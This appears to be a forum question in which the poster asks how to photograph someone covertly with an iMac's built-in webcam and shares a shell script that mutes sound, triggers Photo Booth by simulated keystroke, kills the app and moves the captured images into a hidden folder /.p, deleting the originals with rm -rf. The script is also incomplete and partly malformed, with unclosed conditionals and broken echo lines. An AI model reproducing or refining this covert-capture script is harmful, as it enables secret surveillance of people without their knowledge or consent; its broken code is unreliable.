Way to snap a photo using the built in webcam
I am looking for a way to snap a photo without the user knowing using the built in webcam in a Imac. The way I have been doing it work's fine but I am using photo booth which give's them time to move out of the way.
rm -fr ~/Pictures/Photo\ Booth/*;
osascript -e "set Volume 0";
open /Applications/Photo\ Booth.app;
osascript -e'tell application "System Events" to keystroke return';
killall "Photo Booth";
if [ -d /.p ];then
cd ~/Pictures/Photo\ Booth
mv ~/Pictures/Photo\ Booth/* /.p
rm -rf ~/Pictures/Photo\ Booth/*
if [ -f /.p/user.txt ];then
echo $user >> /.p/user.txt @ "$folders"
echo $user > /.p/user.txt @ "$folders"